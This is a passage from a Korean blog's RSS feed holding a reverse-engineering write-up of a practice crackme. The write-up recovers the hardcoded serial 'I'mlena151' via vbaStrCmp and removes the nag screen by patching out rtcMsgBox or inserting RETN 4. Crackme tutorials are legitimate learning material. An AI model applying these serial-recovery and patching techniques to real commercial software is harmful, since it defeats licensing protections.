filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;조금 내려가보면 호출되는 함수 중&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;vbaStrCmp&lt;/b&gt; 라는 함수가 눈에 띕니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;실제 코드와, 사용자가 입력한 코드를 비교하는 데에&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;문자열 비교 함수가 들어가겠지요?&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;여기가 만약 코드 비교 함수라면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;사용자 입력 코드와 실제 코드가&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;인자로 들어갈 것이라 생각해 볼 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 310px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99382C395C64FFC11C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99382C395C64FFC11C&quot; width=&quot;310&quot; height=&quot;245&quot; filename=&quot;7.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 244px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996BE5435C64FFC120&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996BE5435C64FFC120&quot; width=&quot;244&quot; height=&quot;18&quot; filename=&quot;8.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 코드를 입력하고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;버튼을 클릭해 다시금 함수를 호출해주면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;확실히 코드를 인증하는 부분임이 확실한 것 같습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그럼 비교대상&amp;nbsp;문자열인&amp;nbsp;&lt;b&gt;&quot;I'mlena151&quot;&lt;/b&gt;&amp;nbsp;가&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;올바른 코드겠군요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 311px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99530C375C64FFC121&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99530C375C64FFC121&quot; width=&quot;311&quot; height=&quot;231&quot; filename=&quot;16.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 339px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B8E6465C64FFC11A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B8E6465C64FFC11A&quot; width=&quot;339&quot; height=&quot;208&quot; filename=&quot;24.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 찾아낸 코드를 입력하고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;인증 버튼을 눌러주면, 성공 메시지를 볼 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 755px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99BCD5355C64FFC119&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99BCD5355C64FFC119&quot; width=&quot;755&quot; height=&quot;109&quot; filename=&quot;4.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Nag 알림 메시지를 제거할 차례입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;다시 참조 문자열을 확인합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/999CB64A5C64FFC120&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F999CB64A5C64FFC120&quot; width=&quot;820&quot; height=&quot;285&quot; filename=&quot;10.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Nag 메시지의 제목이었던&amp;nbsp;&lt;b&gt;&quot;Nag Screen&quot;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;문자열을 따라가면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Nag 버튼의 클릭 이벤트 함수를 확인할 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 360px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9925DE505C64FFC112&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9925DE505C64FFC112&quot; width=&quot;360&quot; height=&quot;38&quot; filename=&quot;11.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그리고 조금씩 내려가다보면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;402CFE&lt;/b&gt; 에서 함수를 호출하고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Nag 메시지가 뜨는데요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 559px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99586C385C64FFC122&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99586C385C64FFC122&quot; width=&quot;559&quot; height=&quot;48&quot; filename=&quot;12.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;브레이크 포인트를 걸고 해당 주소로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;들어가보면, &lt;b&gt;rtcMsgBox&lt;/b&gt; 함수를 호출하고 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 여기가 에러 메시지를&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;호출하는 부분임을 알 수 있지요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 377px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99965B485C64FFC120&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99965B485C64FFC120&quot; width=&quot;377&quot; height=&quot;85&quot; filename=&quot;13.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그럼 에러 메시지를 발생시키지 않으려면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;어떻게 해야 할까요?&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;rtcMsgBox&lt;/b&gt; 만 호출되지 않는다면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;메시지가 발생하지 않겠죠.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 368px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99D37F365C64FFC11D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99D37F365C64FFC11D&quot; width=&quot;368&quot; height=&quot;83&quot; filename=&quot;14.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 해당 호출문을 삭제해 주면 되는데&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;앞뒤 고려하지 않고&amp;nbsp;없애면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;메시지야 당연히 안 나오겠지만, 오류가 발생하며&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;예기치 못한 동작을 야기할 것입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 직후에 &lt;b&gt;vbaVarMove&lt;/b&gt; 함수를 호출하는 데에&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;EAX&lt;/b&gt; 값이 쓰인다는 것을 고려해&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;본래 &lt;b&gt;rtcMsgBox&lt;/b&gt; 함수가 리턴했던 값을&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;수동으로 &lt;b&gt;EAX&lt;/b&gt;에 넣어주면 되겠습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;확인결과 1을 리턴하고 있었으니&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;MOV&lt;/b&gt; 명령어를 이용해 &lt;b&gt;EAX&lt;/b&gt;에 1을 넣어 주었습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 370px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99E7F8475C64FFC11E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99E7F8475C64FFC11E&quot; width=&quot;370&quot; height=&quot;82&quot; filename=&quot;15.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;비주얼 베이직은&amp;nbsp;&lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/cpp/stdcall?view=vs-2017&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;stdcall&lt;/a&gt; 호출규약을 따라&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;호출당하는 쪽이 스택을 정리하여 리턴합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 &lt;b&gt;PUSH&lt;/b&gt; 2개 중, 1개를 &lt;b&gt;POP&lt;/b&gt; 으로 변경하여&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;ESP&lt;/b&gt; 값에 변화가 없도록 해 주면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;별 문제 없이 Nag 메시지가 발생하는 것을 막을 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 566px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/995A1E485C64FFC123&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F995A1E485C64FFC123&quot; width=&quot;566&quot; height=&quot;101&quot; filename=&quot;17.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;거슬러 올라가 함수의 발생을 원천적으로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;막는 방법도 존재합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;함수의 첫 부분에서 바로 &lt;b&gt;RETN&lt;/b&gt; 해주면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;아무것도 실행되지 않은채로 함수가 끝나게 되는데&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이 방법을 사용하려면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;함수에&amp;nbsp;주어지는 인자의 크기를 알아야만 합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;만약 4바이트가 인자로 주어졌다면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;RETN 4&lt;/b&gt; 와 같이 수정해 주면 되겠지요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 288px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997CB44D5C64FFC12A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997CB44D5C64FFC12A&quot; width=&quot;288&quot; height=&quot;45&quot; filename=&quot;18.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그런데 함수의 인자 개수를 어떻게 알 수 있을까요?&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;함수를&amp;nbsp;호출하면, 리턴시&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;돌아갈 주소를 스택에 보관하기 때문에&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;브레이크 포인트를 걸어주고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;호출된 당시의 스택을 확인하면 됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;위 사진을 보면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;리턴 주소가 &lt;b&gt;740DE5A9&lt;/b&gt; 라는 것을 알 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 395px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99AD643F5C64FFC11E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99AD643F5C64FFC11E&quot; width=&quot;395&quot; height=&quot;71&quot; filename=&quot;19.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;해당 주소를 따라가보면 직전의&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;740DE5A9&lt;/b&gt; 주소에서&amp;nbsp;이벤트 함수를&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;호출했다는 것을 알 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 해당 줄에 브레이크 포인트를 걸어주고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;호출되는 &lt;b&gt;EAX&lt;/b&gt; 주소를 확인해 봅시다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 189px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99179A475C64FFC127&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99179A475C64FFC127&quot; width=&quot;189&quot; height=&quot;87&quot; filename=&quot;20.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;402649&lt;/b&gt; 주소가 호출되고 있군요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;해당 주소를 확인해 보면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 311px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/998E74465C64FFC11C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F998E74465C64FFC11C&quot; width=&quot;311&quot; height=&quot;20&quot; filename=&quot;21.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;ESP&lt;/b&gt; 에 영향을 주지 않은채로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;바로 클릭 이벤트 함수로 점프합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 394px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996A7A365C650A3132&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996A7A365C650A3132&quot; width=&quot;394&quot; height=&quot;57&quot; filename=&quot;25.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 호출하기 직전, 직후에&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;모두 브레이크 포인트를 걸어주고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;ESP&lt;/b&gt; 의 주소를 비교하면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;인자의 크기를 알 수 있겠습니다.&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 191px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B689455C64FFC105&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B689455C64FFC105&quot; width=&quot;191&quot; height=&quot;89&quot; filename=&quot;22.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 196px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/993267375C64FFC119&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F993267375C64FFC119&quot; width=&quot;196&quot; height=&quot;88&quot; filename=&quot;23.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;호출된 후에, &lt;b&gt;ESP&lt;/b&gt;&amp;nbsp;가 4만큼 줄었으므로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;인자의 크기가 4바이트 라는 것을 알 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 함수의 시작 부분을&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;RETN 4&lt;/b&gt;&amp;nbsp;라고 변경해주면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;깔끔하게 Nag 메시지를 제거할 수 있는 것입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Reversing</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/79</guid>
      <comments>https://posix.tistory.com/79#entry79comment</comments>
      <pubDate>Thu, 14 Feb 2019 15:32:52 +0900</pubDate>
    </item>
    <item>
      <title>abex' crackme 2 분석</title>
      <link>https://posix.tistory.com/78</link>
